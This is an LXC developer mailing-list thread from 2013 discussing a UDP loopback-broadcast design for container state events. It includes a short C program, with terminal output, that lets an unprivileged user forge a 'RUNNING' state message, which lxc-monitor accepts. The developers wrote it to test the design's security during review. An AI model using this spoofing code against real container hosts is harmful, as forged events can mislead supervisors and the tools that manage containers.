Hi Daniel,
Seems like my assumption was wrong (I was under the impression that calling
setsockopt with SO_BROADCAST will require root privileges) as I was able to
send fake state updates with my user account using following fake client;
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <net/if.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <lxc/lxc.h>
#include <lxc/monitor.h>
#define PORT 51423
int main(int argc, char *argv[]) {
int fd;
int yes = 1;
struct sockaddr_in addr;
char *name = "0";
char *lxcpath = "/var/lib/lxc";
lxc_state_t state = RUNNING;
struct lxc_msg msg = { .type = lxc_msg_state, .value = state};
strncpy(msg.name, name, sizeof(msg.name));
msg.name[sizeof(msg.name) - 1] = 0;
strncpy(msg.lxcpath, lxcpath, sizeof(msg.lxcpath));
msg.lxcpath[sizeof(msg.lxcpath) - 1] = 0;
fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0)
return -1;
memset(&addr, 0, sizeof(struct sockaddr_in));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr("127.255.255.255");
addr.sin_port = htons(PORT);
if (setsockopt(fd, SOL_SOCKET, SO_BROADCAST, &yes, sizeof(yes)) <
0) {
printf("setsocktopt : %s", strerror(errno));
close(fd);
return -1;
}
sendto(fd, &msg, sizeof(msg), 0, (const struct sockaddr *)&addr,
sizeof(addr));
close(fd);
return 0;
}
caglar@qgq:~/Project$ gcc fakestate.c -o fakestate
caglar@qgq:~/Project$ id
uid=1000(caglar) gid=1000(caglar)
groups=1000(caglar),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),107(lpadmin),124(sambashare),1001(vboxsf)
caglar@qgq:~/Project$ ./fakestate
caglar@qgq:~/Project$
caglar@qgq:~$ sudo lxc-monitor -n [0-9]
'0' changed state to [RUNNING]
On Mon, Apr 15, 2013 at 11:52 AM, S.Çağlar Onur <cag...@10ur.org> wrote:
> Hi Daniel,
>
>
> On Mon, Apr 15, 2013 at 5:14 AM, Daniel Lezcano <daniel.lezc...@free.fr>wrote:
>
>> On 04/15/2013 07:53 AM, S.Çağlar Onur wrote:
>> > Hi Daniel,
>> >
>> >
>> > On Sun, Apr 14, 2013 at 4:42 PM, Daniel Lezcano
>> > <daniel.lezc...@free.fr <mailto:daniel.lezc...@free.fr>> wrote:
>> >
>> > On 04/14/2013 09:56 PM, S.Çağlar Onur wrote:
>> > > Hi all,
>> > >
>> > > I had some free time today so I tried to implement something using
>> > > AF_INET messages over loopback broadcast address. I'm not
>> including
>> > > the patch here because gmail web interface damages it and that's
>> > what
>> > > I use right now so please use [1] to see it.
>> > >
>> > > I'm sending it to get your feedback and will submit it to list
>> > if you
>> > > are OK with that approach.
>> > >
>> > > P.S: I used 51423 as the port but of course it can be changed
>> > > accordingly.
>> > >
>> > > [1]
>> > >
>> >
>> https://github.com/caglar10ur/lxc-upstream/commit/123b20e2945ed2b4bc9e6e27b9ef398ec8fcae40.patch
>> >
>> > Thanks for this code !
>> >
>> > It sounds like the approach seems ok. My concern is the same than
>> > Serge,
>> > what can we do to ensure an event was sent by a container ?
>> >
>> > We don't want someone to send fake events via UDP. We can't
>> tolerate a
>> > simple program messing a container supervisor and all the containers
>> > (running an OS instance).
>> >
>> > Assuming an user, which is not root, can't build an IP packet, we
>> can
>> > rely on the IP identification number to detect fake packets, no ?
>> >
>> >
>> > I'm not sure about the right answer of that question. I was under the
>> > impression that we are safe since kernel only allows root user to send
>> > broadcast packages over loopback interface but I might
>> > be completely wrong.
>>
>> I don't find a confirmation about this anywhere. Do you have a pointer ?
>> If it is the case, then that's cool because we are safe on this side.
>>
>
> Unfortunately I don't have any but I'll try to write a test client to see
> what will happen. What should we do if that's not the case? I'm not a
> security guy at all so I really don't know whether just checking the
> sequence numbers will be sufficient or something more sophisticated is
> needed to ensure the authenticity of the messages.
>
> Is your code tested ? I mean, did you validate monitoring the events
>> works with this approach ?
>>
>
> I tested lxc-monitor and lxc-wait briefly with this code. On one terminal
> I start 9 containers in parallel while running lxc-monitor and lxc-wait in
> another one
>
> caglar@qgq:~/Project/lxc/examples$ sudo ./concurrent_start
> Starting the container (3)...
> Starting the container (7)...
> Starting the container (0)...
> Starting the container (1)...
> Starting the container (2)...
> Starting the container (8)...
> Starting the container (4)...
> Starting the container (5)...
> Starting the container (9)...
> Starting the container (6)...
>
> caglar@qgq:~$ sudo lxc-monitor -n [0-9]
> '3' changed state to [STARTING]
> '0' changed state to [STARTING]
> '7' changed state to [STARTING]
> '1' changed state to [STARTING]
> '2' changed state to [STARTING]
> '8' changed state to [STARTING]
> '4' changed state to [STARTING]
> '5' changed state to [STARTING]
> '9' changed state to [STARTING]
> '6' changed state to [STARTING]
> '3' changed state to [RUNNING]
> '9' changed state to [RUNNING]
> '7' changed state to [RUNNING]
> '2' changed state to [RUNNING]
> '5' changed state to [RUNNING]
> '6' changed state to [RUNNING]
> '4' changed state to [RUNNING]
> '0' changed state to [RUNNING]
> '8' changed state to [RUNNING]
> '1' changed state to [RUNNING]
>
> caglar@qgq:~$ sudo lxc-wait -n 0 -s RUNNING
> caglar@qgq:~$
>
>
>
>> Thanks
>> -- Daniel
>>
>>
> Best,
> --
> S.Çağlar Onur <cag...@10ur.org>
>
--
S.Çağlar Onur <cag...@10ur.org>
------------------------------------------------------------------------------
Precog is a next-generation analytics platform capable of advanced
analytics on semi-structured data. The platform includes APIs for building
apps and a phenomenal toolset for data science. Developers can use
our toolset for easy data analysis & visualization. Get a free account!
http://www2.precog.com/precogplatform/slashdotnewsletter
_______________________________________________
Lxc-devel mailing list
Lxc-devel@lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/lxc-devel
